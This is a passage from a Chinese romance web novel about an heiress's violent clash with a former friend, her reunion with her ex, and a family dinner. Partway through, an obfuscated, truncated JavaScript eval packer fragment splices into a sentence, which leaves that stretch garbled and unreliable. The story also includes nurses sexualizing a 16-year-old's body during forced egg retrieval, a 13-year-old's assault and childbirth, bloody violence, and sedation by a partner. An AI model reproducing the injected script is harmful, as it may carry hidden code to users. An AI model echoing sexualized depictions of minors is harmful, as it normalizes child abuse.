没了她帮忙,刀从言笑手上滑落,掉到地上,发出清脆的声音,然后碎了。 那是把用起来会很锋利的陶瓷刀。 深呼吸了许久,把手盖在言笑眼上,重重地把她的眼皮抚下来,她搬起一个落地大花瓶,轻飘飘扔纸一样把那个花瓶扔到沙发上。 砰—— 瓷片四散,雨雪一样落了满地。 沙发上的男人抽搐了两下,不动了。 “杀人啦”的尖叫声自人群里传来,呆愣的纨绔们回过了神。 “我去”声震天响,月买茶回过头看张着嘴的言笑。 她终于回归我们的群体了。 朝言笑露出一个由礼仪师和数学家打造出的甜美笑容,诚恳地看着言笑,她等待起她的夸奖。 尽管相关的夸奖她听过很多次,但她还是乐于冒着耳朵起茧的风险再听一回。 可掌风伴随着“是你勾引的他”先一步袭来。 眼睛一眨不眨地看着那只红肿的掌朝左脸来,月买茶感到无聊又难过。 言笑能仗着沉没成本肆意放纵,她要找谁去拳打脚踢。 闭上眼,她抿起唇。 意料之中的疼痛并没有袭来,来的是一股干净的皂香。 回南天中间短暂的好天气,我们去海湾公园散心,不模糊的蓝天,大团大团的白云,不刺眼的阳光,温度正好的和风,一切都那么美好。 我练习了一下午3A悠悠球,在天空变成紫色地平线泛起橘光的时候回到你身边,沮丧地跟你说再也回不到巅峰时期。 你模仿起围观小孩崇拜的样子,蛮横地说我就是最厉害的,把你画了一下午的我给我,请我教你滑板。 我们滑到深夜,在能绽放的路灯下高歌着去吃夜宵,回家以后关掉家务机器人,一起打扫我们的小屋。 我们回忆着每一样物件的故事,把能洗的东西全放进洗衣机里,又把他们晒到阳台上,等待明日从它们身上收获月亮和风的悄悄话。 那也正是我们睡在敞着门的客厅里的原因。 第二天我们在窒息里醒来,我尖叫着关上所有门窗,你去抢收已经长霉的物件,我打开除湿机,你坐在潮湿的床垫上,朝我伸手,说没关系。 我跌入你的怀抱,我们大声笑,笑得比昨天晚上更大声,大声地约定下个晴天还要这样。 第二个晴天的早上,你在白衬衫里精挑细选为约定做准备,而我赴了你妈妈的约。 其实早该明白的,我们的爱情比那些霉菌更恼人。 * 巨大到能与太阳叫嚣的水晶吊灯下,月买茶认出眼前的白衬衫是第二个晴天早上李惨绿精挑细选出来的那件。 那上头有她绣的月字,可惜她绣功实在不佳,绣得比她那手丑字还难看。 “闹够了吗?” 清泠泠若冰泉的声音流出来,冻得全场寂静。 不理解纨绔们在怕什么,月买茶双手抱胸,挑眉责问:“你怎么在这?” 深谙甩锅之道,她张了血红小嘴就叭叭起一堆能让男人跳脚的嘲讽。 在诸如“你来这做什么,嫖|娼吗,那是犯法的哦”“还以为五少爷多清高”“没一年就憋不住了呀”的嘲讽里,李惨绿回过头,视线高高地停在她天灵盖上方。 很快,纨绔们像吃瘪的阿飘一样无声无息地离开了。 见媚香迷离的淮院别墅里只剩下他们两个活人,她连要做什么都没想好就抬起了手。 “长高了不少啊,了了大宝贝。”一个吊儿郎当的男声在她将碰到李惨绿时拍了拍她的肩。 是一句很让她受用的客套话。立刻转身朝声源处走去,她扶住已经俯下身的男人的肩,踮起脚做了个贴面礼。 “学长好。” “某个正牌学长看起来可不太好哦。”贺知返弯着眼睛笑道,过大的眼睛让他的眼角延伸出去几道纹路,看着那几道陪着她长大的纹路,月买茶阴阳怪气道: “还有人吗?谁呀?我怎么不知道?” “鬼都做出点动静来吓人呢。” 贺知返笑得更加开怀了,他身边,也俯着身的白西装男人跟着无奈笑起来,“嗯,我的错。” “您这上来就认错的打招呼方式可真别致,有参照物都不学,看不上我啊。” “好好,我们了了大宝贝长高了。”宣正礼说着又往下弯了弯身,把手搭在她肩上。 一个不用踮脚的贴面礼,“学长好。” 贴完挤进两人之间一起靠着墙,看着巨大水晶吊灯下孤零零站着的李惨绿,月买茶生出一种奇妙的爽感。 “干嘛呢杵在那,文章发了吗?投资拉到了吗?实验成功了吗?” “博士毕业只是一个开始啊小李同志。”她苦口婆心道。 脑瓜子飞速运转着要扯人工智能领域的术语,她被他一句“我来找你”给呛住。 李惨绿是看着她的眼睛说那句话的。 他的咬字很清晰,语气很平淡,两者结合起来像在宣布一件不重要的公事。 可那双琥珀色的瞳实在剔透,水淋淋的清澈,看人时竟有种捧心的义无反顾。 第一个午夜梦回时重复在耳边的话终于有了依据,那瞬间,月买茶什么都忘了。 死白死白的小脸上浮出两片红晕。她像苦等到死化为白骨的新娘,拎起身上乱成一团的白纱裙,一步一步,去投胎一样坚定地迈到李惨绿身前。 “来找我的吗?怎么这么快啊?”她害羞地笑起来,“你怎么知道我在这儿啊,都说了不要监视我了。” 将手背在身后,左脚勾右脚,晃晃荡荡扭扭捏捏起来,她把空灵的音色说得娇俏,“这样的话你妈妈会不开心的。” 她像个一见情郎就害羞的少女。 可她本性是个冷血的神经病,所以当李惨绿淡淡说出:“月白表哥让我来接你。”那些再见爱人的快乐啊害羞啊担忧啊就哗啦一下化为齑粉,被阳光照开了。 干嘛要解释呢?你就是来接我的,接了我,去哪儿还不是随你? 一口气卡在心里,仿佛有个打不出的嗝顶在胸口,月买茶感到一阵窒息的难受。 想剖开胸膛,把那口气取出来。 她伸手去摸腰。 她的刀啊鞭啊喷雾啊就像过时的旋转木马一样废弃在腰间。 “了了。”贺知返抓住她摸腰的手往后拉了她几步,“不能这样。” 站在她和李惨绿之间,他别过头劝她:“他出事了会很麻烦。” 为什么是他出事而不是我出事,我对他很坏吗? “谁出事了?” 脆生生的女音自门口传来,躲开贺知返不赞成的目光,月买茶看过去。 来者是个貌美的女子,身材高挑有劲,气质大方和善,像仪态书上的标杆人像走入现实,眼神清明,一看就是含着有规划的爱长大的。 她缓缓路过所有人,最后停在李惨绿身边。 几乎是平视着李惨绿,她说:“怎么在这耽搁了?你接到齐妹妹了吗?” 李惨绿的语气像从前一样淡漠:“接到了,你等——” “——月买茶我干你祖宗十八代!” 瘫坐在沙发上的言笑发出尖利声音,朝李惨绿扔去一个松软抱枕,她骂道:“你个狗男人,装什么深情!” “还我是来找你的,你怎么不告诉她你家里在撮合你跟温锦衣?!” 说着又朝月买茶扔去眼刀:“你个死贱人,冷血的贱人!装什么好人,谁要你帮我了?” “要不是喜欢你,他怎么会跟那个贱人勾搭上!” 她越讲越激动,跳起来扯住皱起眉的温锦衣,扯着她的领口把她拽到月买茶面前,目含癫狂:“你以为你是谁啊?” “你还以为你是千金大小姐吗?” “你看清楚了,这是江颂声的女儿,她跟李惨绿门当户对,你算什么,她妈妈是英雄,你爸爸是婊|子!” 像是感受不到满别墅的沉默,她模仿起月买茶适才的笑,涎水流了她半张脸,她眼神明亮,“你看看你刚才那个样子。” “你像个被耍着玩的傻逼!” 说着她把温锦衣往外一甩,要去抓不知何时走到廊柱下看戏的两位学长。 咚—— 言笑被头破血流的男友绊倒在地。男人艰难的“救护车”声里,她捂住耳朵,发出刺耳的尖叫。 那声音哀凄,像受了天大的委屈。 可惜在场的人打出生起就浸在名利场那个大染缸里,一颗肉做的心早被钱权镀上铁皮,寻常的事根本就撬动不了那层铁皮分毫,更遑论人世间最平凡不过的下位者的情伤。 他们不会感同,更不会身受,所做只有居高临下地看。 当笑话一样看。 女人的尖叫因为持续时间太长变得嘶哑,而后化为止不住的大咳。 “你们这些贱人,都去死,都去死!” “你明明什么都没有了……”她看着走向她的月买茶说。 面无表情地在她跟前蹲下来,月买茶打开手机的计算机界面,在干涸的血印上戳戳点点,边戳,她边说:“我们认识了八年——” “——第一年我砸钱让你拿到藤校夏令营的邀请函,第二年我砸钱让华伦天奴给你做了条独一无二的毕业礼裙,你大一的时候为了安心让你读书我在丰台和使馆区给你买别墅湖淀给你买学区房,你大二的时候搞攀比我给你买游艇赛车组俱乐部…… 你以为我是想找你把钱要回来吗,不,只是想告诉你所有的房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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言笑愣了好久,愣完她发出解脱般的哈哈大笑,她笑着哭倒在月买茶怀里,抱怨她难得要做个贤妻良母,看上的“老实丈夫”却是个喜欢救风尘的蠢货。 “你知道她有多像你吗?”言笑哭笑得喘不上气,“她除了胸比你大,脸比你丑,其他地方哪哪都像你。” 月买茶哦了声,抬手又给了她几巴掌,才朝站着的三个男人翻去白眼,“还不来搭把手。” 男人们别着脸没动,温锦衣动了。她扶起言笑,唤来侍者叫救护车,请来医务人员给血已经干了的出轨男包扎,并细心地把外套脱了盖住言笑春光大泄的胸脯。 “你是个好人。”言笑抓住温锦衣的手,把脸埋在她胸前,“你跟你妈妈一样伟大,月买茶比不上你。” 那会儿月买茶正在揉手肘处言笑推出来的青紫痕迹,乍一听这话,立刻把言笑从温锦衣怀里拽出扔到沙发上。 扔完她也跟着爬到沙发上,骑在言笑身上,抬手又扇了她好几巴掌。 “我就是当乞丐了也轮不到你来评价。” 打完她下了沙发,无视要把眼睛瞪出来的温锦衣,径直朝李惨绿走去。 李惨绿站的地方离她们很远,是在窗边,黯淡了的天空停在他身后,显得他白皙的脸更加冷漠。 像一幅昂贵到谁都买不起的水墨画。 走到李惨绿跟前,月买茶惊觉他们分手那天也是这样的情形。 灰蒙蒙的天气和穿白衬衫的男人。 “月白表哥让我来接你,他定位到他的车在这里。”李惨绿说,他边说边拿出一块温热的湿手帕,旁若无人地给她擦脸。 月买茶扬起脸给他擦,她的脸实在太脏,混合着泪水口水和血渍。 “小哥哥的车上有定位啊。” 把脸从手帕下挣开,她朝无声无息站在身后的宣正礼笑,“学长,帮我搞辆摩托。” 低头吻吻李惨绿擦干净的那块脸蛋,宣正礼笑道,“晚上就给你送到竹园去。” 说罢他看眼在一边吹口哨的贺知返,抬脚离场。 “找个长得像你的人真不容易。”贺知返上前抱了下她,“常出来玩,了了宝贝。” 一下少了两个人,狼藉的大厅愈加显得空旷,窗外寒风呼啸,才绿的树被吹得枯败,月买茶站在原地,边用手指摩挲被吻过的脸颊边放声大笑。 她笑得用力到站不住,索性就坐到地上去。 花江会所的暖气开得太足,坐在硬邦邦的地面上,她竟觉得滚烫。 “不介绍一下这位——”月买茶心含“我生母的女儿”问,“——看起来家庭美满的小姐吗?” “你好,我是温锦衣。” 温锦衣在安慰言笑,闻言朝月买茶送去挑不出错的笑脸,低头看了看面容呆滞的言笑,她投视线到李惨绿身上去。 “芒种,你认识这位小姐吗?” 李惨绿低下头,看着月买茶,说:“这是我爱人。” 朝温锦衣扔去一个wink,月买茶撑着脸看她。 “这样吗?”温锦衣朝后拢拢散乱的发丝,端庄笑容不减:“那你们先叙旧,我去接齐妹妹。” “她就是二叔的女儿。”李惨绿说着顿了顿,“她不姓齐,姓解。” 仔细瞧了瞧她,温锦衣的笑脸忽地垮了下来,气势汹汹起来,她对李惨绿说: “请告诉月白我家里有事,今晚不能跟他一起吃饭了。”说着她挪开言笑站起来,步履优雅地朝门走去。 “解琟的那个解哦。”看着温锦衣缩小的的背影,月买茶大声喊道,“一定要告诉温冉我来找她了呦。” 温锦衣踉跄了下,大步离开了。 门顺滑地开启又合上,言笑又笑起来。 她的笑声像破锣锅,月买茶听得烦了,就说:“你再笑我就送你去坐牢。” “卖卵应该算非法售卖医疗器械吧。”她仰起头看李惨绿。 “可以是。” 言笑的笑卡在了喉里,她噎着那口笑,骂了几句她亲爹山沟沟老家里的方言,顶着红肿的脸,昂首挺胸离开了别墅。 别墅终于像她曾梦寐以求的那样变成一处只有她和李惨绿的地方。 “你不求我复合吗?”向后折着头,她问李惨绿。 李惨绿扭头朝远方看去,睫毛像蝴蝶翅膀一样颤抖,“你还没原谅我。” 月买茶觉得他说得很对,“我确实不会原谅把我监护人送进隐岛又申请给他判刑的人。” 她是真爱他啊,姚麟两个字提都没提过。 “所以你要因为我不原谅你就跟其他人,比如我生母的女儿谈恋爱吗?她看上去对你有感觉。”月买茶说,“她人还不错。” 李惨绿拨低她仰得酸疼的头,单手抱起她:“我不会跟她谈恋爱。” “也不会跟其他人谈恋爱。” “我只喜欢你。” 8. 各说各话 “所以你是要像电视剧里的深情男二一样等我一辈子吗?”月买茶捂住软绵绵的胸口,心跳尖尖的,像鸽子一样啄她手掌。 李惨绿摇了摇头,窗外寒风吹歪了枯树,他看起来想说什么但没说出口。 “那你要怎么样?!”月买茶的火气噌一下冒出,“你不给我守贞,也不跟别人谈恋爱,你到底要怎么样?!” “你怎么这么坏?!” “你妈妈肯定又要找我麻烦。”她用力捂住胸口,鸽子啄掌的频率太快,好不容易凝结的伤口又淌起血。 为晚饭穿的白色公主裙彻底报废了。 “Matcha。”李惨绿喊他给她创造的昵称。 他的语气还是那样的淡漠,是那种拥有太多所以对一切都提不起兴趣的漠然,“Matcha你舍得我孤独终老吗?” 月买茶飞快地摇了两下头。 她可喜欢李惨绿了,她喜欢他到不舍得让他跟任何贬义词有接触。 “我也舍不得我孤独终老。”李惨绿看着远处,浅浅笑起来,“所以你要乖乖的。” “换代之后议院会发特赦令赦免隐岛的人。”李惨绿语速很慢地给她一个没上过思政课的国际班学生做科普,“你乖点,他们会承你的情赦免解琟。” “等他出来了,你嫁给我好不好。” 眼里溢出眼泪,月买茶不信地摇头,“那你为什么要申请给解琟判刑。” “不然他怎么上隐岛。”李惨绿抱着她往外走,“而且不是没判下来?” “等他出来了我们就订婚,明年我生日一到我们就结婚。” 明年李惨绿就二十二岁了,刚好是能结婚的年龄。 月买茶信他的话,李惨绿不会骗人。 他研究人工智能,还把自己研究得对指令忠心耿耿。 天色比来时暗了不少,柏油路上跑车轰鸣,空气里已飘起歌声。 坐在李惨绿手臂上荡着小腿,月买茶偏头唱起歌。 “I heard that you like the bad girls honey 宝贝我听说你喜欢坏女孩 Is that true 是真的吗 It''s better than I ever even knew 那正中我下怀 ……"*1 “咔嚓。”闪光灯暂停了音乐,寒意攀上尾椎骨,月买茶下意识捂住脸。 拍抚起她的背,李惨绿轻声道:“不怕,在青琐没人敢动你。” 月买茶默了默,问,“那我们现在是什么关系。” “你想跟我是什么关系。”李惨绿反问。 头一次,月买茶在那张淡漠出尘的脸上看到希冀的影子。 但她给不了。 眺望远方,她像聊触不可及的梦想一样问:“要不要试试那种什么底细都不知道直接扯证的闪婚。” “我知道了。”李惨绿落寞地垂下睫毛。 月买茶在心疼里咯咯笑起来。 紧了紧抱她的手,李惨绿缓步走向一辆加长迈巴赫,AI秘书MC正守在车门旁。 “晚上好,抹茶小姐。”MC拉开车门。 暖融融的灯光跌进冰凉余晖,月买茶探头看向车里,见座椅上躺着一条黑色蓬蓬裙。 那条蓬蓬裙华丽又暗黑,点缀着珍珠宝石和飘带。 “好幼稚啊。”月买茶吐槽,“给我穿的吗?我不要穿。” “穿起来会很好看的。”李惨绿将她抱进车,给她喂了点稳定情绪的药。 稳定情绪的药带有安眠作用,加之闹了一下午也累了,故而车还没开出花江会所,她就陷入了安睡。 或许是那个处于异地的三月太似从前,又或许是在茶室里见到封重时她想起封轻,想到她曾以她夫姓称呼她,所以她脑里竟回荡起了她最厌恶的称呼。 “Mrs.Crown.” “Mrs.Crown,Mrs.Crown……” “Mrs.Crown,”裹医用手套的粗短五指掀开眼皮,聚拢亮光钉在涣散瞳孔上,“Mrs.Crown……可以开始取卵了……” 无力的腿被掰开,与小臂一样长的取卵针深入诞生生命的巢穴,尚未成熟的卵子被冰冷的器械捕获,一颗、两颗、三颗……取卵针离开了窄紧的肉道。 “她居然只有一个卵巢。”护士A发出惊叹,“看来富人的生活也不好过。” “她哪里算富人。”粗糙的五指隔着乳胶手套摸上细腻的脸,护士B用高深莫测的语气说:“等她能在合同上签字了,你看谁还会搭理她。” “那个传闻是真的?!” “那她在这里做什么,Crown家会要一个没根基的夏裔?” “知道她为什么只有一个卵巢吗?”护士B说得洋洋自得,“她的另一个卵巢被她前夫摘了弄出一个女儿,那孩子现在由参联会Chairman GA约翰.亨特抚养。” “一本万利的事,Crown家拖到现在做才让人奇怪呢。” 啧啧两声,护士A继续八卦,“她现在才十六吧,这生活经历可比别人丰富多了。” “你猜她什么时候摘的卵巢?” 护士A说了几个数字,最后咆哮道:“Nine?!” “安静点。”医生冷冷说。 护士们安静了,就一会儿。 “她好小啊。”护士A随意拨弄她的鸽子嘴,说:“能满足Mr.Crown吗?” “谁会跟这种平板身体do。”护士B说。 “嘿,她这breast尖得跟她的嘴一样。”护士B卖弄起自己珍藏的流言。 流言里那个美丽的十六岁少女牙尖嘴利得让人恨不得自戳双目好不经受诱惑与她对骂。 一阵扣扣声传来,护士B没收回拨鸽子嘴玩的手就指挥护士A,“有人在敲门,你去看看。” 护士A乍一那么被指使,骂骂咧咧地去开了门。 她的骂骂咧咧在咚一声门开音后戛然而止。 “你们被炒了,立刻滚。”男人的视线冰冷,落在心口处,叫人瑟缩了下。 “Matcha.”月买茶听到男人喊他帮她创造的昵称。 布料摩擦发出窸窸索索的声音,她听到男人在给她穿衣。 “Matcha.”男人低低喊他给她取的昵称,像得了新玩具的小孩一样爱不释手。 “Matcha.”男人喊。 李惨绿把月买茶喊醒了。 * 看到李惨绿的那刻,她的泪立刻流了出来。太痛了,尽管打了麻药,但她就是知道那很痛。 伸手抱住李惨绿,她呜咽着一句话都没有说。 “我在。”轻抚她的背,李惨绿将她抱到膝上安抚,细细吻去她的泪。 月买茶并不爱哭,难得的一阵泪被李惨绿吻去,她也没了哭下去的欲望。揽住他的脖子,她笑着说自己的眼泪都流给他看了。 “我做了梦中梦。”月买茶起了倾诉的心思,说出口的却是个好梦。 “给我感动得稀里哗啦的。” 不知前前夫在地下知道他处心积虑摘下来的卵巢给他表弟用了会作何感想。 那刻月买茶无比希望她的前夫和前前夫在地下相遇,打个你死我活,打得对方魂飞魄散。 亲亲她的手,李惨绿抱着她坐正,说:“眼影还没画好。” 月买茶唔了声,看看车窗,她发现自己已打扮齐整,穿着背后有紫色蝴蝶结的黑色蓬蓬裙,底妆已经上好,发型也做好了。 “把眼睛闭上。”李惨绿拿起眼影盘和眼影刷,蘸了亮片要给她涂。 刷子轻柔地扫过眼皮,车里静悄悄的只有彼此的呼吸声。 很快安静被月买茶自己打破,嘟起嘴,她闹着要亲亲。 “唇蜜还没干。”李惨绿淡淡说。 月买茶咦了声,她觉得好玩。她从来只用雾面质地的口红,李惨绿与她相识四年,是知道她的喜好的。 按捺住性子等李惨绿给她涂完眼影,她睁开眼照了照镜子。 镜子里的人有一张很好看的脸,那张脸那刻顶着甜美系的妆容,像极了洋娃娃。 月买茶没见过那样的自己,就哈哈笑起来,“宝贝你这是什么审美啊。” 鞋子呢?她动着脚趾头低头看,发现自己脚上套着蕾丝袜子。她还看到李惨绿脚边的鞋子,一双亮亮的圆头皮鞋。 想象了下它们穿到自己身上的样子,月买茶咯咯笑了起来。从李惨绿腿上下去,她跪在座椅上左扭右扭照车窗,“我七岁之后就不这么穿了。” “你是要送我去哪家幼儿园表演吗?” “什么曲目,白天鹅大战黑天鹅,我要当反派吗?” “我还挺喜欢Odile的。”工厂里有位挥鞭转跳得很好的姐姐,出自小国名门。 她笑得很开心,发自内心的,连吐槽的话都不显得阴阳怪气而是可爱。 “这样很好看啊,不喜欢吗?”李惨绿也跟着笑起来,笑里爱意满满。 月买茶是个一点爱都攒不住,有点爱就要拿去挥霍的人。感觉到李惨绿的爱,她扑回到他怀里,要他仔仔细细从头到脚夸赞她,不得少于八百字。 “Baby boy你真的像从小玩芭比娃娃的人。”她捻起裙摆,对着李惨绿凹造型。 不知何时,单向玻璃外下起了小雪,雪声沙沙的,造出酥人骨头的白噪音。 自然造出的安宁里,月买茶突然就失去了闹的欲望。 轻轻一推,她把李惨绿推倒在椅背上,坐在他绷硬的肌肉上,她凝视着他,像要把此前九个月未看过的都补回来。 李惨绿就静静地任她看,一动不动。 “宝贝你想要我。”月买茶轻轻拍起裙摆上的凸起的花。 “我们还没试过在车上呢。” 她说着掀起层层叠叠的裙摆。 “好色哦。”看着袜环勒出的软肉,月买茶又咯咯笑起来。 “不试,时间不够,还有半小时就到了。”李惨绿握住她的腿,白腻的肉在他指缝间调皮冒出头,发出热乎乎软绵绵的光。 “就要嘛~~”月买茶嗲声道。 “湿了。”她执起他的手。 李惨绿将手握成一个拳头。 那骨感又性感的大手上青筋暴起,好看极了。 “我真的想。”她舔他手上的青筋,“好嘛好嘛。” “我昨晚都梦到你了。” 李惨绿岿然不动,一张冷白的脸像墓里封存的瓷器。 咬住暴起的青筋磨了几下,她挑起眉毛,“那我就找别人满足我去了。” 一个接一个的名字从亮晶晶的唇釉上滑出去,滑到[z]音,李惨绿重重吸了口气。 “坐上来。”他仰起脸。 * “可算到了。” 车门才打开,小麦肤色的俊美男人就迎上来。 他拿过侍者的伞斜举在她头上,用空余的手重重拥了下她,“气色好多了。”又揉揉她的脑袋,“笑得这么开心。” “遇上什么开心事了。” “就是很开心啊。”月买茶仰着头看秋月白。 尽管相识不过九个月,但她真的对那位一心一意像爱亲人一样爱她的小哥哥很有好感。 为了给开心一个理由,她美化了番下午的事,将自己刻画成一个能言善辩劝住恋爱脑回头的好人。 她讲着,秋月白的脸色淡了下来。 “好了,往旁边让让,我们堵住车门了。” 他们才往旁走去,李惨绿就从另一侧绕了过来。 “脸怎么这么红?”秋月白关切地问。 李惨绿说车里太热。 “那还穿这么厚?”搂着她的肩,秋月白吐槽李惨绿在隆冬时节都只肯穿一件线衫,“回暖了才想起穿大衣。” 李惨绿的脸掩在黑伞的阴影下,除了回应的嗯声之外没有任何言语。 “茶茶没打扰到你吧。”秋月白絮絮叨叨地抛出比正在下的雪还密集的话,“她就是人来疯……” 知道李惨绿是因为温存时间太短而不开心,月买茶夹起声音,故作不满地打断道:“哥——人家饿了。” 秋月白长长咦了声,嫌弃里像只被撸爽了的猫。 “那——” 一声笑嗤地传来,打断秋月白才出口的话。 没在笑里听到什么别的意思,月买茶回过头,见着个穿高领毛衣的斯文男人,人她见过。 好像是在顾皖舟的办公室,月买茶眯起眼。 “表哥。”李惨绿突然出声。 秋月白上扬着嗯了声,而斯文男人笑道:“芒种是在喊我。” “也是,他哪那样喊过我。”揉着她脑袋,秋月白跟瞎了眼一样没看见“表哥”面上似笑非笑的暧昧表情。 “这是我发小顾乔。”他乐呵呵地介绍。介绍完顾乔又介绍起李惨绿,“芒种是咱们全家的亲戚,你小他一岁,也要喊他哥哥。” 月买茶抿住唇,摇头。 “害羞了?”点了下月买茶的鼻子,秋月白催她喊李惨绿哥哥。 “瞧你那样。”顾乔笑着打断秋月白,“行了,进去再说,雪下这么大,你不冷我还冷呢。” “也是。”揽着月买茶往阶梯上走,秋月白吩咐秘书,“去问问嘉措哥到哪了。” “嘉措哥?”听到熟悉的名字,月买茶直接破音。 因为顾乔而不太好的心情直接被雪埋死,她调整好声音,问:“嘉措哥不是当兵去了吗?” “这么激动?舅舅说你们认识。”秋月白朝她眨眼,“见个面而已。” “以后要见的人可多着呢。” 要不是知道秋月白对她的过去一无所知,月买茶真的会怀疑那是那些人给她设的局。 “嘉措哥凶凶的,我不喜欢。” 才说完,一辆银灰色奥迪就绕过喷泉,停在阶梯前。 前座的司机下车打开车门,随后一个高过一米九的男人大步迈出,站在阶下看着他们。 那是个肤色古铜,眼眸深邃,很有异族风情的男人,腕上缠着条佛珠,淡着脸,给人种不怒自威的感觉。 “说曹操曹操到。”秋月白笑着拍拍她的肩:“茶茶,还记得嘉措哥吗?” 月买茶沉重地点头。 她当然认识林嘉措。 在她十三岁,那个因为被性|侵而打算堕落的秋天里,她生父好友的母亲把她叫至跟前: “我们这样的家庭,婚姻是不能自主的,不是要你做结婚员,而是这种大事由着你自己来,大家都会难过的。” “跟你鬼混的那些人,买的起你吃的一粒药吗?” 除了物质,久居高位的老太太懒得想新缺点去形容月买茶刚结交的社会人,“你也上高中了,是时候跟人培养感情了。” 不久后她在酒会上见到了林嘉措。 那场酒会是为什么办的她记不清了,只记得主人挺重要,申城权贵圈到场了大半。 九月的申城燥热,她穿着蓬蓬的小礼服,带着假笑跟宣正仪游走在大人们间。 “那个林嘉措跟李敏衡的侄子在青琐那边合称逼王你知道吗?”宣正仪叽叽喳喳地酸着林嘉措年仅十九却已研一的履历,“咱可不能跟那种人在一起,那种一心忙事业的人肯定会冷暴力你。” “可是他帅啊。” 看着与李敏衡侃侃而谈的林嘉措,月买茶说。 十九岁的人,青涩又成熟,完美嵌进她在生存里打磨到极致的理想伴侣模型。 三年后的易慧会用爹系少年感去形容她的理想型。 而宣正仪简单粗暴地把那形容成“爸”。 “那你真要让他做你未婚夫?”宣正仪的嘴一刻也没停过,“他看起来不够爸啊。” “你才喜欢爸呢。”月买茶犟着嘴,与李敏衡打招呼时故意朝林嘉措翻白眼。 标准的鹰式mean girl的姿态。 那时她对权的理解还不深,还当钱管够就好。所以尽管知道林嘉措是前途光明的少壮派,她仍对他嗤之以鼻。 更何况他是在她最轴的时候出现在她面前的。 那时大人们说东,她必往西。 于是晚宴到高|潮时,她脱了小高跟跑去找刚认识的小混混们玩。 职高附近总有巷子给人打群架,坐在树上,玩着悠悠球,月买茶听到一阵哀嚎。 是有人流产了。 那晚是林嘉措去警局里把她捞出来的。她才十三,又没打架,所以不用留在警察局里过夜。 “你觉得这很光荣?”上车时林嘉措问。 “拿进过局子到处吹嘘,以示自己不畏权威?”林嘉措的语气很不耐烦,“作为纳税人我只觉得你们影响市容。” “你也心疼一下你爸爸妈妈好不容易挣下的名声。” “我没有。”月买茶扯着脖子试图与林嘉措平视,“我那是见义勇为,警察叔叔都表扬我了。” 林嘉措呵了声:“你说我给你找个小混混当老公怎么样,那种瘦猴子,头发染得五颜六色,三天两头进警察局……” 这回他的语气由不耐烦变得认真,“出门成群结队,一顿饭一群人分着吃……” “我才不要。”月买茶尖叫,“你这是侮辱人!” 林嘉措点头,“所以你别侮辱我,行吗?” 那话给月买茶带来的伤害不可谓不深,她好歹是接受着“你好看、聪明、富有,是所有人的宝贝”的教育长大的,从未想过自己有一天会变做污点。 恼怒下,她回了鹭岛上高中。 平安夜前一天孩子出世,她在空无一人的病房里第二次见到林嘉措。 林嘉措说抱歉。 剖宫产没什么知觉的疤被他连对不起都不是的道歉生扯开,她聚了好久说话的力气才让他等她三天。 “圣诞之后我们一起回国。” 林嘉措提前走了。 回国之后她穿上校服继续做她的学生会会长,只在次年六月和林嘉措产生过一次单方面联系。 她把年段第一的成绩单和各种奖项的证书邮寄给林嘉措。 林嘉措什么都没回。 月买茶只当自己又发病了。 像所有内向的小孩见许久不见的凶巴巴长辈一样,月买茶往后缩了缩,低声问好。 “了了长大了。”林嘉措淡淡嗯了声,“都进去吧。” * “坐这吧。”进到包厢后,林嘉措拉开主宾的位置,让她坐下,然后自己入了副宾位置。 李惨绿也坐的副宾位。 秋月白和顾乔两人坐在了林嘉措下首。 圆桌家宴,饭桌上就没安排捧哏打杂的跟班。 四个男人说话也没像在外面那样谨慎。 “你锦衣姐呢?”秋月白问李惨绿。 “她在来的路上遇见一个女性乞丐,把人带去陈院安置了,现在应该在分配物资。”李惨绿一板一 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“听你秘书说你最近天天灌咖啡。”秋月白笑眯眯的,亲自舀了碗鸡汤端给李惨绿。 “得跑不少趟厕所吧。” 李惨绿闷闷嗯了声,“谢谢哥。”然后安然喝起了鸡汤。 见秋月白的表情有点扭曲,月买茶咳了声,“芒种哥,我有东西落车上了,你去帮我拿呗。” 李惨绿才慢悠悠地离开了包厢。 门闭合,秋月白闭眼,揉揉太阳穴,他复又睁开眼,神色沉郁斟酌着语气:“虽说家里担得起,但那到底是条人命。” 月买茶松了口气。 “为那种人背上人命,不值得。” 见秋月白看着她等回话,她委屈巴巴道:“我那算正义行为。” “他违背法律法律会制裁他,违背道德自有人谴责他,你掺和什么?” “为了两个人渣背命案不值得。”秋月白说着面露惆怅。 “算了,不提那个。”他叹了口气:“你是怎么知道冰|恋俱乐部那些……”他甚至不愿意多提那些月买茶用来恐吓言笑的名词。 “小时候不是流行什么□□嘛。”月买茶胡扯道:“我混进他们的Q|Q群,从里头了解到的。” 显而易见,秋月白不知道□□是什么,但他知道那不是好东西。 他哀伤地叹了口气,起身到月买茶身后环住她,“以前的苦哥哥不会再让你受了。” 原来知道冰|恋之类的东西是没被好好对待。 原来正常家庭的小孩儿是不会接触到那些东西的吗?用头蹭了蹭秋月白的手臂,月买茶想接下去的日子她要好好表现。 她的小哥哥是那样的爱她。 她要以千百倍的爱回爱他。 “我怎么可能接触到那种东西?哥你又不是不知道我是在比弗利山庄长大的。” “那就好。”秋月白的胸膛重重起伏了下,“舅舅说你在外边过得不好,不让我们问你,也不许我们去查。” “怕你难过。” “了了?那是你的小名吗?对不起,哥哥不知道。了了,哥哥不知道你是怎么想的。” “如果你真的一直很幸福那再好不过了。” “哥哥没资格跟你说过去的事都过去了,但哥哥保证,不会再有让你伤心难过的事发生。” “我们了了值得最好的家人、朋友和伴侣。”秋月白把伴侣两个字说得很重。 看来李惨绿不是最好的伴侣。月买茶垂下眼皮,浓长的睫毛盖在眼前,投射出根根扭曲似监狱栅栏的阴影。 只有被爱着才会生出的委屈涌上鼻尖,她吸吸鼻子,固执道:“可是我有一个很喜欢很喜欢的人。” “只是看到他,我就会很开心很开心。” 秋月白坚定地摇了摇头。 “你以前过得不好,没条件学习认人,喜欢错人很正常。”他道,“哥哥会给你找个更好的。” “什么叫好,嘉措哥吗?”月买茶咬着唇问。 秋月白又摇头,“他们两个没什么区别,都只会单方面消耗你的情绪。” “我会跟舅舅说清楚。” “你喜欢理工男,那正好,家里认识不少年轻的教授,回头安排你见见。” “我就喜欢热脸贴冷屁股。”月买茶不甘心地说。 “我们茶茶这么优秀。”认真看着她的眼睛,秋月白用不容质疑的语气说: “这么骄傲,怎么能被人用感情欺负呢?” 月买茶的心凉了一大截。 你怎么知道我没被人用感情欺负过呢? 我何时不优秀何时不骄傲了? 